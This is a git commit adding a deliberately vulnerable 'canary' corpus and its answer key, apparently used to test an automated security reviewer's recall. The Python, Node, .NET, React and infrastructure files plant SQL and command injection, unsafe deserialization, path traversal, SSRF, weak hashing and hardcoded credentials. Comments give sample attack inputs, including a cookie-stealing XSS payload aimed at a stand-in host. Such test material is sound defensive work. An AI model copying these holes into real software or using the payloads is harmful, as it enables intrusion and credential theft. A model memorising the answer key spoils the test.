mirror of
https://github.com/Sea-Haven-Industries/security-review.git
synced 2026-09-30 04:33:13 +00:00
feat(canary): add anti-complacency recall-floor corpus + repo skip marker
Adds canary/ (the planted-vuln corpus from the local-only security-review-testbed, answer-revealing comments stripped so it measures real detection) and canary-meta/ (KEY.md ground truth + CANARY_FLOOR=8, kept OUT of canary/ so detectors never read it). One provider-pattern secret (sk_live_) was sanitized to a non-provider hardcoded key so it stays a CWE-798 finding without tripping push protection. Adds a root .security-review-skip so the org-wide sweep and the local pre-push gate skip this repo's intentional vuln/fixture content; the nightly sweep scans canary/ directly as its recall floor. 20 planted vulns (19 crit/high), 2 decoys, 3 traps.
This commit is contained in:
parent
3cf9bb7652
commit
094a253c37
10 changed files with 355 additions and 0 deletions
9
.security-review-skip
Normal file
9
.security-review-skip
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
This repo is excluded from the org-wide security sweep and the local git pre-push gate.
|
||||
|
||||
Reason: it intentionally contains secret-shaped / deliberately-vulnerable content that would
|
||||
otherwise always ALARM — the `canary/` anti-complacency corpus (planted vulns, answer key in
|
||||
`canary-meta/`) and the checker test fixtures under `checkers/fixtures/`.
|
||||
|
||||
The nightly sweep scans `canary/` DIRECTLY as its recall-floor check, bypassing this skip marker
|
||||
(that is the whole point of the canary). Repos skipped via a committed marker are logged in the
|
||||
sweep report for auditability.
|
||||
1
canary-meta/CANARY_FLOOR
Normal file
1
canary-meta/CANARY_FLOOR
Normal file
|
|
@ -0,0 +1 @@
|
|||
8
|
||||
52
canary-meta/KEY.md
Normal file
52
canary-meta/KEY.md
Normal file
|
|
@ -0,0 +1,52 @@
|
|||
# Canary answer key — anti-complacency recall floor
|
||||
|
||||
Ground truth for the `canary/` corpus. **Lives in `canary-meta/`, NOT in `canary/`**, so it is never in
|
||||
the detector's scan scope — the nightly sweep points its agentic detectors at `canary/` only and reads
|
||||
this file separately to score the run. Do not move this file under `canary/`.
|
||||
|
||||
The corpus is deliberately vulnerable code (Python Lambda, SAM IaC, React, Node, .NET) with the
|
||||
answer-revealing comments stripped, so a run measures real detection, not comment-reading.
|
||||
|
||||
**Counts:** 20 planted vulns (of which **19 are confirmed critical/high** — only #4 PAN-in-logs is
|
||||
MEDIUM), plus 2 safe decoys and 3 traps that must NOT be confirmed.
|
||||
|
||||
**`CANARY_FLOOR = 8`** (see `canary-meta/CANARY_FLOOR`) — PROVISIONAL. Max crit/high recall is 19; the
|
||||
floor is set conservatively because this corpus has no comment hints and the cloud routine's native
|
||||
agentic pass is uncalibrated. Re-tune up toward the observed steady-state recall after the first runs
|
||||
report their numbers. A run that confirms FEWER than the floor in crit/high → COMPLACENCY ALARM.
|
||||
|
||||
| # | File | Location | CWE | Severity | What |
|
||||
|---|---|---|---|---|---|
|
||||
| 1 | src/payment_handler.py | `DB_DSN` / `INTERNAL_API_KEY` | CWE-798 | HIGH | Hardcoded prod DB creds + API key |
|
||||
| 2 | src/payment_handler.py | `get_payment` query | CWE-89 | CRITICAL | SQL injection via `payment_id` f-string |
|
||||
| 3 | src/payment_handler.py | `get_payment` (no owner check) | CWE-639 | HIGH | IDOR — caller reads any payment |
|
||||
| 4 | src/payment_handler.py | `logger.info(... card ...)` | CWE-532 | MEDIUM | Full PAN to CloudWatch logs |
|
||||
| 5 | src/webhook_handler.py | `handle_webhook` | CWE-347 | CRITICAL | Webhook HMAC never verified |
|
||||
| 6 | src/webhook_handler.py | `fetch_vendor_logo` | CWE-918 | HIGH | SSRF — unvalidated user URL |
|
||||
| 7 | src/crypto_utils.py | `JWT_SECRET` | CWE-798/321 | HIGH | Hardcoded session signing secret |
|
||||
| 8 | src/crypto_utils.py | `hash_password` | CWE-327/916 | HIGH | Unsalted MD5 password hashing |
|
||||
| 9 | src/crypto_utils.py | `load_session` | CWE-502 | CRITICAL | Insecure deserialization (pickle on cookie) |
|
||||
| 10 | src/crypto_utils.py | `read_report` | CWE-22 | HIGH | Path traversal on report name |
|
||||
| 11 | infra/template.yaml | `PaymentFn` policy | CWE-732 | HIGH | IAM `Action:"*" Resource:"*"` |
|
||||
| 11b | infra/template.yaml | `ReportsBucket` | CWE-284 | HIGH | Public-access block disabled on PII bucket |
|
||||
| 11c | infra/template.yaml | `AdminSG` | CWE-284 | HIGH | SSH 0.0.0.0/0 |
|
||||
| 12 | web/PaymentForm.jsx | `dangerouslySetInnerHTML` | CWE-79 | HIGH | DOM XSS via vendor `note` |
|
||||
| N1 | src/node/orders_api.js | `GET /orders/:id` query | CWE-89 | CRITICAL | SQL injection — `id` concatenated |
|
||||
| N2 | src/node/orders_api.js | `GET /orders/export` | CWE-78 | CRITICAL | Command injection via `file` into `exec` |
|
||||
| N3 | src/node/orders_api.js | `db` config / `JWT_SECRET` | CWE-798 | HIGH | Hardcoded DB password + JWT secret |
|
||||
| N4 | src/node/orders_api.js | `GET /orders/:id` (no owner check) | CWE-639 | HIGH | IDOR — any user reads any order |
|
||||
| N5 | src/node/orders_api.js | `GET /orders/invoice` | CWE-22 | HIGH | Path traversal on `invoice` name |
|
||||
| D1 | src/dotnet/PaymentController.cs | `GetPayment` | CWE-89 | CRITICAL | SQL injection — `id` interpolated |
|
||||
| D2 | src/dotnet/PaymentController.cs | `LoadSession` | CWE-502 | CRITICAL | Insecure deserialization (BinaryFormatter) |
|
||||
| D3 | src/dotnet/PaymentController.cs | `ConnStr` | CWE-798 | HIGH | Hardcoded connection string w/ password |
|
||||
| D4 | src/dotnet/PaymentController.cs | `HashPassword` | CWE-327 | HIGH | Unsalted MD5 password hashing |
|
||||
|
||||
**Decoys — must NOT be flagged:**
|
||||
- `src/payment_handler.py::list_my_payments` — parameterized query, scoped to `caller`.
|
||||
- `src/node/orders_api.js` `GET /my-orders` — parameterized query, scoped to `user_id`.
|
||||
|
||||
**Traps — must NOT be confirmed (test the verifier's kill path):**
|
||||
- `src/payment_handler.py::payments_by_status` — f-string SQL, but `status` is allowlisted against
|
||||
`ALLOWED_STATUSES` and `user_id` is parameterized. SQLi claim must be killed → unverified.
|
||||
- `infra/template.yaml` `WebSG` — `0.0.0.0/0` on port 443 is normal public HTTPS; info at most.
|
||||
- `src/dotnet/PaymentController.cs::ByStatus` — `status` passed as a `SqlCommand` parameter; safe.
|
||||
46
canary/infra/template.yaml
Normal file
46
canary/infra/template.yaml
Normal file
|
|
@ -0,0 +1,46 @@
|
|||
AWSTemplateFormatVersion: '2010-09-09'
|
||||
Transform: AWS::Serverless-2016-10-31
|
||||
Description: Payments service infrastructure.
|
||||
|
||||
Resources:
|
||||
|
||||
PaymentFn:
|
||||
Type: AWS::Serverless::Function
|
||||
Properties:
|
||||
Runtime: python3.12
|
||||
Handler: payment_handler.get_payment
|
||||
Policies:
|
||||
- Statement:
|
||||
- Effect: Allow
|
||||
Action: "*"
|
||||
Resource: "*"
|
||||
|
||||
ReportsBucket:
|
||||
Type: AWS::S3::Bucket
|
||||
Properties:
|
||||
BucketName: seahaven-payments-reports
|
||||
PublicAccessBlockConfiguration:
|
||||
BlockPublicAcls: false
|
||||
BlockPublicPolicy: false
|
||||
IgnorePublicAcls: false
|
||||
RestrictPublicBuckets: false
|
||||
|
||||
AdminSG:
|
||||
Type: AWS::EC2::SecurityGroup
|
||||
Properties:
|
||||
GroupDescription: payments admin
|
||||
SecurityGroupIngress:
|
||||
- IpProtocol: tcp
|
||||
FromPort: 22
|
||||
ToPort: 22
|
||||
CidrIp: 0.0.0.0/0
|
||||
|
||||
WebSG:
|
||||
Type: AWS::EC2::SecurityGroup
|
||||
Properties:
|
||||
GroupDescription: public web tier
|
||||
SecurityGroupIngress:
|
||||
- IpProtocol: tcp
|
||||
FromPort: 443
|
||||
ToPort: 443
|
||||
CidrIp: 0.0.0.0/0
|
||||
24
canary/src/crypto_utils.py
Normal file
24
canary/src/crypto_utils.py
Normal file
|
|
@ -0,0 +1,24 @@
|
|||
"""Auth/session/storage helpers."""
|
||||
import hashlib
|
||||
import os
|
||||
import pickle
|
||||
import base64
|
||||
|
||||
JWT_SECRET = "changeme-dev-secret"
|
||||
|
||||
|
||||
def hash_password(password: str) -> str:
|
||||
return hashlib.md5(password.encode()).hexdigest()
|
||||
|
||||
|
||||
def load_session(cookie_value: str):
|
||||
# A crafted cookie yields arbitrary code execution via __reduce__.
|
||||
raw = base64.b64decode(cookie_value)
|
||||
return pickle.loads(raw)
|
||||
|
||||
|
||||
def read_report(report_name: str) -> bytes:
|
||||
# report_name='../../etc/passwd' escapes the reports directory.
|
||||
path = os.path.join("/var/app/reports", report_name)
|
||||
with open(path, "rb") as fh:
|
||||
return fh.read()
|
||||
59
canary/src/dotnet/PaymentController.cs
Normal file
59
canary/src/dotnet/PaymentController.cs
Normal file
|
|
@ -0,0 +1,59 @@
|
|||
// Exercises the reviewer's recall on the .NET stack.
|
||||
using System;
|
||||
using System.Data.SqlClient;
|
||||
using System.IO;
|
||||
using System.Runtime.Serialization.Formatters.Binary;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using Microsoft.AspNetCore.Mvc;
|
||||
|
||||
namespace SeaHaven.Payments
|
||||
{
|
||||
[ApiController]
|
||||
[Route("api/payments")]
|
||||
public class PaymentController : ControllerBase
|
||||
{
|
||||
private const string ConnStr =
|
||||
"Server=prod-pay.cluster-czaa.us-east-1.rds.amazonaws.com;Database=payments;User Id=app;Password=P@y-Pr0d-2026!;";
|
||||
|
||||
[HttpGet("{id}")]
|
||||
public IActionResult GetPayment(string id)
|
||||
{
|
||||
using var conn = new SqlConnection(ConnStr);
|
||||
conn.Open();
|
||||
var cmd = new SqlCommand("SELECT * FROM Payments WHERE Id = '" + id + "'", conn);
|
||||
using var reader = cmd.ExecuteReader();
|
||||
// ?id=' OR '1'='1 returns every payment
|
||||
return Ok(reader.HasRows);
|
||||
}
|
||||
|
||||
[HttpGet("session")]
|
||||
public IActionResult LoadSession()
|
||||
{
|
||||
var raw = Convert.FromBase64String(Request.Cookies["session"] ?? "");
|
||||
var fmt = new BinaryFormatter();
|
||||
using var ms = new MemoryStream(raw);
|
||||
var obj = fmt.Deserialize(ms); // crafted payload → RCE
|
||||
return Ok(obj.ToString());
|
||||
}
|
||||
|
||||
[HttpPost("hash")]
|
||||
public IActionResult HashPassword([FromBody] string password)
|
||||
{
|
||||
using var md5 = MD5.Create();
|
||||
var hash = md5.ComputeHash(Encoding.UTF8.GetBytes(password));
|
||||
return Ok(Convert.ToHexString(hash));
|
||||
}
|
||||
|
||||
[HttpGet("by-status")]
|
||||
public IActionResult ByStatus(string status)
|
||||
{
|
||||
using var conn = new SqlConnection(ConnStr);
|
||||
conn.Open();
|
||||
var cmd = new SqlCommand("SELECT Id FROM Payments WHERE Status = @status", conn);
|
||||
cmd.Parameters.AddWithValue("@status", status);
|
||||
using var reader = cmd.ExecuteReader();
|
||||
return Ok(reader.HasRows);
|
||||
}
|
||||
}
|
||||
}
|
||||
53
canary/src/node/orders_api.js
Normal file
53
canary/src/node/orders_api.js
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
// Server-side JS counterpart to the React web/PaymentForm.jsx, to exercise the
|
||||
// reviewer's recall on the Node stack (payments-dashboard is Node/JS).
|
||||
const express = require("express");
|
||||
const mysql = require("mysql2");
|
||||
const { exec } = require("child_process");
|
||||
const path = require("path");
|
||||
|
||||
const app = express();
|
||||
app.use(express.json());
|
||||
|
||||
const db = mysql.createConnection({
|
||||
host: "prod-orders.cluster-czaa.us-east-1.rds.amazonaws.com",
|
||||
user: "app",
|
||||
password: "Pr0d-0rders-D8!secret",
|
||||
database: "orders",
|
||||
});
|
||||
const JWT_SECRET = "sh-orders-signing-key-do-not-share-9f3a";
|
||||
|
||||
function currentUser(req) {
|
||||
// pretend this decodes a verified JWT with JWT_SECRET
|
||||
return { id: req.header("x-user-id"), role: req.header("x-user-role") };
|
||||
}
|
||||
|
||||
app.get("/orders/:id", (req, res) => {
|
||||
const sql = "SELECT * FROM orders WHERE id = " + req.params.id;
|
||||
db.query(sql, (err, rows) => {
|
||||
if (err) return res.status(500).json({ error: String(err) });
|
||||
res.json(rows); // any authenticated user can read any order id
|
||||
});
|
||||
});
|
||||
|
||||
app.get("/orders/export", (req, res) => {
|
||||
const name = req.query.file;
|
||||
exec("zip -j /tmp/export.zip /var/orders/" + name, (err, stdout) => {
|
||||
if (err) return res.status(500).json({ error: String(err) });
|
||||
res.json({ ok: true, stdout });
|
||||
});
|
||||
});
|
||||
|
||||
app.get("/orders/invoice", (req, res) => {
|
||||
const file = path.join("/var/invoices", req.query.invoice);
|
||||
res.sendFile(file); // ?invoice=../../etc/passwd escapes /var/invoices
|
||||
});
|
||||
|
||||
app.get("/my-orders", (req, res) => {
|
||||
const me = currentUser(req).id;
|
||||
db.query("SELECT id, total FROM orders WHERE user_id = ?", [me], (err, rows) => {
|
||||
if (err) return res.status(500).json({ error: String(err) });
|
||||
res.json(rows);
|
||||
});
|
||||
});
|
||||
|
||||
module.exports = app;
|
||||
62
canary/src/payment_handler.py
Normal file
62
canary/src/payment_handler.py
Normal file
|
|
@ -0,0 +1,62 @@
|
|||
"""Payment lookup/refund Lambda handler."""
|
||||
import json
|
||||
import logging
|
||||
import sqlite3
|
||||
|
||||
logger = logging.getLogger()
|
||||
logger.setLevel(logging.INFO)
|
||||
|
||||
DB_DSN = "postgres://admin:S3aHaven_pr0d!@payments-db.internal:5432/payments"
|
||||
INTERNAL_API_KEY = "internal-pay-live-9f2c8a1b4e7d6309f1a2b3c4d5e6f708"
|
||||
|
||||
|
||||
def _conn():
|
||||
return sqlite3.connect("payments.db")
|
||||
|
||||
|
||||
def get_payment(event):
|
||||
"""Look up a payment by id for the calling user."""
|
||||
params = event.get("queryStringParameters") or {}
|
||||
payment_id = params.get("payment_id", "")
|
||||
caller = (event.get("requestContext", {}).get("authorizer") or {}).get("user_id")
|
||||
|
||||
cur = _conn().cursor()
|
||||
row = cur.execute(
|
||||
f"SELECT id, user_id, card_number, amount FROM payments WHERE id = '{payment_id}'"
|
||||
).fetchone()
|
||||
if not row:
|
||||
return {"statusCode": 404, "body": "not found"}
|
||||
|
||||
# Any authenticated user can read any payment by guessing the id.
|
||||
|
||||
logger.info("served payment %s card=%s for caller=%s", row[0], row[2], caller)
|
||||
|
||||
return {"statusCode": 200, "body": json.dumps({"id": row[0], "amount": row[3]})}
|
||||
|
||||
|
||||
def list_my_payments(event):
|
||||
"""List the payments belonging to the calling user."""
|
||||
caller = (event.get("requestContext", {}).get("authorizer") or {}).get("user_id")
|
||||
cur = _conn().cursor()
|
||||
rows = cur.execute(
|
||||
"SELECT id, amount FROM payments WHERE user_id = ?", (caller,)
|
||||
).fetchall()
|
||||
return {"statusCode": 200, "body": json.dumps([{"id": r[0], "amount": r[1]} for r in rows])}
|
||||
|
||||
|
||||
ALLOWED_STATUSES = {"paid", "pending", "failed", "refunded"}
|
||||
|
||||
|
||||
def payments_by_status(event):
|
||||
"""List payments filtered by status for the calling user."""
|
||||
params = event.get("queryStringParameters") or {}
|
||||
status = params.get("status", "")
|
||||
caller = (event.get("requestContext", {}).get("authorizer") or {}).get("user_id")
|
||||
if status not in ALLOWED_STATUSES:
|
||||
return {"statusCode": 400, "body": "bad status"}
|
||||
cur = _conn().cursor()
|
||||
rows = cur.execute(
|
||||
f"SELECT id, amount FROM payments WHERE status = '{status}' AND user_id = ?",
|
||||
(caller,),
|
||||
).fetchall()
|
||||
return {"statusCode": 200, "body": json.dumps([{"id": r[0], "amount": r[1]} for r in rows])}
|
||||
34
canary/src/webhook_handler.py
Normal file
34
canary/src/webhook_handler.py
Normal file
|
|
@ -0,0 +1,34 @@
|
|||
"""Inbound webhook + vendor-logo fetch Lambda."""
|
||||
import json
|
||||
import os
|
||||
import urllib.request
|
||||
|
||||
import boto3
|
||||
|
||||
|
||||
def handle_webhook(event):
|
||||
"""Receive a payment-provider webhook and act on it."""
|
||||
body = event.get("body", "")
|
||||
|
||||
# The provider sends an HMAC in this header; we never check it, so anyone who can
|
||||
# POST to this URL can forge a 'payment.succeeded' event and trigger fulfillment.
|
||||
_ignored_signature = event.get("headers", {}).get("X-Webhook-Signature")
|
||||
|
||||
payload = json.loads(body)
|
||||
if payload.get("type") == "payment.succeeded":
|
||||
boto3.client("sns").publish(
|
||||
TopicArn=os.environ["FULFILL_TOPIC"],
|
||||
Message=json.dumps({"order": payload["order_id"]}),
|
||||
)
|
||||
return {"statusCode": 200, "body": "ok"}
|
||||
|
||||
|
||||
def fetch_vendor_logo(event):
|
||||
"""Fetch a vendor-supplied logo URL and return its bytes."""
|
||||
params = event.get("queryStringParameters") or {}
|
||||
logo_url = params.get("url", "")
|
||||
|
||||
# Attacker passes http://169.254.169.254/latest/meta-data/iam/... to reach instance metadata.
|
||||
with urllib.request.urlopen(logo_url) as resp:
|
||||
data = resp.read()
|
||||
return {"statusCode": 200, "headers": {"Content-Type": "image/png"}, "body": data}
|
||||
15
canary/web/PaymentForm.jsx
Normal file
15
canary/web/PaymentForm.jsx
Normal file
|
|
@ -0,0 +1,15 @@
|
|||
import React from "react";
|
||||
|
||||
export default function PaymentForm({ note, amount }) {
|
||||
// A note of `<img src=x onerror=fetch('//evil/?c='+document.cookie)>` executes in the user's session.
|
||||
return (
|
||||
<div className="payment-form">
|
||||
<h2>Confirm payment of ${amount}</h2>
|
||||
<div
|
||||
className="vendor-note"
|
||||
dangerouslySetInnerHTML={{ __html: note }}
|
||||
/>
|
||||
<button type="submit">Pay</button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
Loading…
Add table
Reference in a new issue